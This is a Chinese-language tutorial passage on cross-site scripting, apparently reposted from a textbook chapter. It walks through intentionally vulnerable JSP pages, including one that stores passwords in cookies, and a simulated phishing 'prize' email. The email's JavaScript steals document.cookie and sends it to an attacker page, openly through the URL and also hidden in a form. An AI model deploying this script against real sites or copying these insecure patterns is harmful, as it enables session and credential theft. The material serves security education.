zoukankan      html  css  js  c++  java
  • SQL注入和XSS攻击的原理

    8.4 Web跨站脚本攻击

    8.4.1  跨站脚本攻击的原理(1)

    跨站脚本在英文中称为Cross-Site Scripting,缩写为CSS。但是,由于层叠样式表 (Cascading Style Sheets)的缩写也为CSS,为不与其混淆,特将跨站脚本缩写为XSS。

    跨站脚本,顾名思义,就是恶意攻击者利用网站漏洞往Web页面里插入恶意代码,一般需要以下几个条件:

    客户端访问的网站是一个有漏洞的网站,但是他没有意识到;

    在这个网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);

    客户点击后,代码执行,可以达到攻击目的。

    XSS属于被动式的攻击。为了让读者了解XSS,首先我们举一个简单的例子。有一个应用,负责进行书本查询,代码如下:

    query.jsp

    1 <%@ page language="java" import="java.util.*"
    2  pageEncoding="gb2312"%> 
    3 欢迎查询书本  
    4 <form action="queryResult.jsp" method="post"> 
    5     请您输入书本的信息:<BR> 
    6     <input name="book" type="text" size="50"> 
    7     <input type="submit" value="查询">      
    8 </form>

    运行结果如下:

    运行query.jsp,输入正常数据,如"Java":

    提交,显示的结果是:

    结果没有问题。但是该程序有漏洞。比如,客户输入"<I><FONT SIZE=7>Java</FONT></I>":

    查询显示的结果为:

    该问题是网站对输入的内容没有进行任何标记检查造成的。打开queryResult.jsp的客户端源代码,显示为:

    更有甚者,我们可以输入某个网站上的一幅图片地址(此处引用google首页上的logo图片):

    显示结果为:

    很显然,结果很不正常!

    以上只是说明了该表单提交没有对标记进行检查,还没有起到攻击的作用。为了进行攻击,我们将输入变成脚本:

    8.4.1  跨站脚本攻击的原理(2)

    提交,结果为:

    说明脚本也可以执行,打开queryResult.jsp客户端源代码,为:

    于是,程序可以让攻击者利用脚本进行一些隐秘信息的获取了!输入如下查询关键字:

    提交,得到结果:

    消息框中,将当前登录的sessionId显示出来了。很显然,该sessionId如果被攻击者知道,就可以访问服务器端的该用户session,获取一些信息。

    提示

    在JSP系列中, sessionId保存在Cookie中。

    实际的攻击是怎样进行的呢?如前所述,攻击者为了得到客户的隐秘信息,一般会在网站中通过一些手段放入一段可以执行的代码,吸引客户执行(通过鼠标点击等);客户点击后,代码执行,可以达到攻击目的。比如,可以给客户发送一个邮件,吸引客户点击某个链接。

    以下模拟了一个通过邮件点击链接的攻击过程。攻击者给客户发送一个邮件,并且在电子邮件中,通过某个利益的诱惑,鼓动用户尽快访问某个网站,并在邮件中给一个地址链接,这个链接的URL中含有脚本,客户在点击的过程中,就执行了这段代码。

    我们模拟一个邮箱系统,首先是用户登录页面,当用户登录成功后,为了以后操作方便,该网站采用了"记住登录状态"的功能,将自己的用户名和密码放入cookie,并保存在客户端:

    login.jsp

     1 <%@ page language="java" import="java.util.*"
     2  pageEncoding="gb2312"%> 
     3 欢迎登录邮箱  
     4 <form action="login.jsp" method="post"> 
     5     请您输入账号:  
     6     <input name="account" type="text"> 
     7     <BR> 
     8     请您输入密码:  
     9     <input name="password" type="password"> 
    10     <BR> 
    11     <input type="submit" value="登录"> 
    12 </form> 
    13 <%  
    14     //获取账号密码  
    15     String account = request.getParameter("account");  
    16     String password = request.getParameter("password");  
    17     if(account!=null)  
    18 {  
    19         //验证账号密码,假如账号密码相同表示登录成功  
    20         if(account.equals(password))  
    21 {  
    22             //放入session,跳转到下一个页面  
    23             session.setAttribute("account",account);  
    24             //将自己的用户名和密码放入cookie  
    25             response.addCookie(new Cookie("account",account));  
    26             response.addCookie(new Cookie("password",password));  
    27             response.sendRedirect("loginResult.jsp");   
    28         }   
    29 else  
    30 {  
    31              out.println("登录不成功");  
    32         }   
    33     }   
    34 %>

    8.4.1  跨站脚本攻击的原理(3)

    运行,得到界面如下:

    输入正确的账号密码(如guokehua,guokehua),如果登录成功,程序跳到loginResult.jsp,并在页面底部有一个"查看邮件"链接(当然,可能还有其他功能,在此省略)。代码如下:

    loginResult.jsp

     1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> 
     2 <%//session检查  
     3     String account = (String)session.getAttribute("account");  
     4     if(account==null)  
     5 {  
     6         response.sendRedirect("login.jsp");  
     7     }  
     8 %> 
     9 欢迎<%=account%>来到邮箱!  
    10 <HR> 
    11 <a href="mailList.jsp">查看邮箱</a>

    运行效果如下:

    为了模拟攻击,点击"查看邮箱",我们在里面放置一封"邮件"(该邮件的内容由攻击者撰写)。代码如下:

    mailList.jsp

     1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> 
     2 <%  
     3     //session检查,代码略  
     4  %> 
     5 <!—以下是攻击者发送的一个邮件--> 
     6 这里有一封新邮件,您中奖了,您有兴趣的话可以点击:<BR> 
     7 <script type="text/javascript"> 
     8     function send()  
     9 {  
    10         var cookie = document.cookie;  
    11         window.location.href = "
    12 http://localhost/attackPage.asp?cookies=" + cookie;  
    13     }  
    14 </script> 
    15 <a onClick="send()"><u>领奖</u></a>

    效果如下:

    注意,这里的"领奖"链接,链接到另一个网站,该网站一般是攻击者自行建立。,为了保证真实性,我们在IIS下用ASP写了一个网页,因为攻击者页面和被攻击者页面一般不是在一个网站内,其URL为:

     1 http://localhost/attackPage.asp 

    很明显,如果用户点击,脚本中的send函数会运行,并将内容发送给http://localhost/attackPage.asp。假设http://localhost/attackPage.asp的源代码如下:

    http://localhost/attackPage.asp

    1 <%@ Language = "VBScript" %> 
    2 这是模拟的攻击网站(IIS)<BR> 
    3 刚才从用户处得到的cookie值为:<BR> 
    4 <%=request("cookies")%>

    注意,attackPage.asp要在IIS中运行,和前面的例子运行的不是一个服务器。

    用户如果点击了"领奖"链接,attackPage.jsp上显示:

    Cookie中的所有值都被攻击者知道了!特别是sessionId的泄露,说明攻击者还具有了访问session的可能!

    此时,客户浏览器的地址栏上URL变为(读者运行时,具体内容可能不一样,但是基本效果相同):

    http://localhost/attackPage.asp?cookies=account
    =guokehua;%20password=guokehua;%20JSESSIONID=
    135766E8D33B380E426126474E28D9A9;%2
    0ASPSESSIONIDQQCADQDT=KFELIGFCPPGPHLFEDCKIPKDF

    8.4.1  跨站脚本攻击的原理(4)

    从这个含有恶意的脚本的URL中,比较容易发现受到了攻击,因为URL后面的查询字符串一眼就能看出来。聪明的攻击者还可以将脚本用隐藏表单隐藏起来。将mailList.jsp的代码改为:

    mailList.jsp

     1 <%@ page language="java" import="java.util.*"
     2  pageEncoding="gb2312"%> 
     3 <%  
     4     //session检查,代码略  
     5  %> 
     6 <!—以下是攻击者发送的一个邮件--> 
     7 这里有一封新邮件,您中奖了,请您填写您的姓名并且提交:<BR> 
     8 <script type="text/javascript"> 
     9     function send()  
    10 {  
    11         var cookie = document.cookie;  
    12         document.form1.cookies.value=cookie;  
    13         document.form1.submit();  
    14     }  
    15 </script> 
    16 <form name="form1" action="http://
    17 localhost/attackPage.asp" method="post"> 
    18     输入姓名:<input name=""> 
    19     <input type="hidden" name="cookies"> 
    20     <input type="button" value="提交姓名" onClick="send()"> 
    21 </form>

    该处将脚本用隐藏表单隐藏起来。输入姓名的文本框只是一个伪装。效果为:

    attackPage.asp不变。不管你输入什么姓名,到达attackPage.asp都会显示:

    也可以达到攻击目的。而此时,浏览器地址栏中显示为:

    用户不知不觉受到了攻击。

    提示

    实际攻击的过程中,cookie的值可以被攻击者保存到数据库或者通过其他手段得知,也就是说,cookie的值不可能直接在攻击页面上显示,否则很容易被用户发现,这里只是模拟。

    从以上例子可以看出,XSS可以诱使Web站点执行本来不属于它的代码,而这些行代码由攻击者提供、为用户浏览器加载,攻击者利用这些代码执行来获取信息。XSS涉及到三方,即攻击者、客户端与客户端访问的网站。XSS的攻击目标是盗取客户端的敏感信息。从本质上讲,XSS漏洞终究原因是由于网站的Web应用对用户提交请求参数未做充分的检查过滤。

    8.4.2  跨站脚本攻击的危害

    XSS攻击的主要危害包括:

    盗取用户的各类敏感信息,如账号密码等;

    读取、篡改、添加、删除企业敏感数据;

    读取企业重要的具有商业价值的资料;

    控制受害者机器向其它网站发起攻击;等等。

  • 相关阅读:
    【转】memcached分布式部署
    【转】分布式与集群的区别
    [转]memcached+magent实现memcached集群
    [转]Memcache的原理和命中率的总结
    [转]PHP SOCKET编程
    [转]Hive安装及使用攻略
    [转]Linux的SOCKET编程详解
    Git介绍
    [转]wget 下载整个网站,或者特定目录
    [转]五种常见的 PHP 设计模式
  • 原文地址:https://www.cnblogs.com/xiaocai0923/p/10685342.html
Copyright © 2011-2022 走看看